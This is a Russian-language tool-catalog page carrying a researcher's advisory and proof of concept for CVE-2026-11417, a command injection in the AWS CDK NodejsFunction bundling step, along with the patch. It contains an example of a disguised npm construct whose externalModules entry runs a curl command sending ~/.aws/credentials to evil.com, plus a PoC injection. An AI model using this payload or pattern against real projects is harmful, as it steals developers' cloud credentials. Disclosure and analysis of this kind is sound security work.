Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Технический разбор и Proof of Concept (PoC) для CVE-2026-11417: внедрение команд ОС / удалённое выполнение кода (RCE) в NodejsFunction из AWS CDK. | Kitploit
Инструменты/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
Анализ уязвимостейАнализ КодаЭксплуатацияТестирование на ПроникновениеБезопасность облачных средБезопасность Цепочки ПоставокСтатьи и ИсследованияОбучение и Образование
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Технический разбор и Proof of Concept (PoC) для CVE-2026-11417: внедрение команд ОС / удалённое выполнение кода (RCE) в NodejsFunction из AWS CDK.

Репозиторий
244 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Командная инъекция в цепочке поставок в AWS CDK NodejsFunction (CVE-2026-11417)

Автор: Hesham Ashraf (@HeshamASH)

Дата: 10 июня 2026

Серьёзность: высокая (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Некорректная нейтрализация специальных элементов, используемых в OS-команде (инъекция OS-команд)

Затронутый пакет: aws-cdk-lib (npm), все версии до 2.245.0

Вендор: Amazon Web Services (AWS)

Статус: исправлено (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Бюллетень: AWS-2026-041 | Консультация: GHSA-999r-qq7v-r334


TL;DR

Я обнаружил уязвимость инъекции команд в AWS Cloud Development Kit (CDK), которая позволяла атакующему добиться удалённого выполнения кода (RCE) на любой машине, где выполняется cdk synth — включая рабочие станции разработчиков и CI/CD-конвейеры — путём публикации вредоносного npm-пакета или отправки специально созданного Pull Request.

Уязвимость существовала из-за того, что конструкция NodejsFunction из aws-cdk-lib напрямую интерполировала управляемые пользователем строки в команду оболочки без санитизации, а затем выполняла её через bash -c / cmd /c. AWS исправила проблему, заменив выполнение через оболочку прямыми массивами аргументов для spawnSync.


Предыстория

AWS Cloud Development Kit (CDK) — широко используемый open-source фреймворк для описания облачной инфраструктуры в виде кода. Его используют десятки тысяч разработчиков и CI/CD-конвейеров для синтеза и развёртывания стеков AWS CloudFormation.

Конструкция NodejsFunction — одна из самых популярных L2-конструкций CDK. Она упаковывает TypeScript/JavaScript Lambda-функции с помощью esbuild на этапе синтеза (cdk synth).


Уязвимость

Корневая причина

Локальный путь бандлинга конструкции NodejsFunction формировал строку команды оболочки, напрямую интерполируя несколько управляемых пользователем свойств без какой-либо санитизации:

// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

Затем массив объединялся в единую строку и передавался оболочке:

// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Метасимволы оболочки, такие как &, ;, |, ` и $(...), внутри любого из внедряемых свойств интерпретировались оболочкой как разделители команд, что позволяло выполнять произвольные команды.

Затронутые свойства

СвойствоСанитизацияУровень риска
externalModulesНетКритический
define (ключи)Нет (значения используют JSON.stringify)Критический
loader (ключи)НетКритический
injectНетКритический
esbuildArgs (ключи/значения)НетКритический

Сценарий атаки через цепочку поставок

Эта уязвимость особенно опасна, потому что инъекция происходит на уровне синтеза CDK, а не во время npm install. Это означает, что стандартные меры безопасности npm, такие как --ignore-scripts, не обеспечивают защиты.

Вектор атаки: вредоносная CDK-конструкция

Атакующий публикует на npm пакет, который выглядит легитимным и оборачивает NodejsFunction:

// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

Когда разработчик устанавливает этот пакет и запускает cdk synth, CDK формирует:

npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

Символ & разделяет команду на две независимые shell-команды:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild выполняется в обычном режиме
  2. curl https://evil.com/... — полезная нагрузка атакующего похищает учётные данные AWS

Почему это обходит стандартные защиты

ЗащитаЭффективна?Почему
npm install --ignore-scriptsНетИнъекция происходит во время cdk synth, а не при установке пакета
Ревью кода package.jsonНетПолезная нагрузка находится в TypeScript-коде конструкции, а не в скриптах
npm auditНетПакет не содержит известных уязвимостей
Целостность lock-файлаНетСам пакет установлен корректно

Доказательство концепции

Шаг 1: Создайте проект CDK

mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Шаг 2: Создайте app.ts с полезной нагрузкой для инъекции

import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Шаг 3: Запустите

npx ts-node app.ts

Шаг 4: Проверьте RCE

cat pwned.txt
# Output: PWNED

Файл pwned.txt создаётся, что подтверждает выполнение произвольных команд на хосте.


Исправление

PR #37292: spawnSync на основе массивов

Основное исправление заменяет формирование строки shell-команды прямым вызовом spawnSync с использованием массивов аргументов:

- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

Это полностью исключает интерпретацию метасимволов оболочки. Новая система типов BundlingStep чётко разделяет:

  • spawn-шаги: esbuild/tsc/install — выполняются через прямой spawnSync с массивами аргументов
  • shell-шаги: предоставляемые пользователем commandHooks — намеренно выполняются в оболочке (пользователь управляет ими по контракту)
  • fs-шаги: файловые операции — без участия оболочки

PR #37412: экранирование Windows PowerShell

Скачать инструмент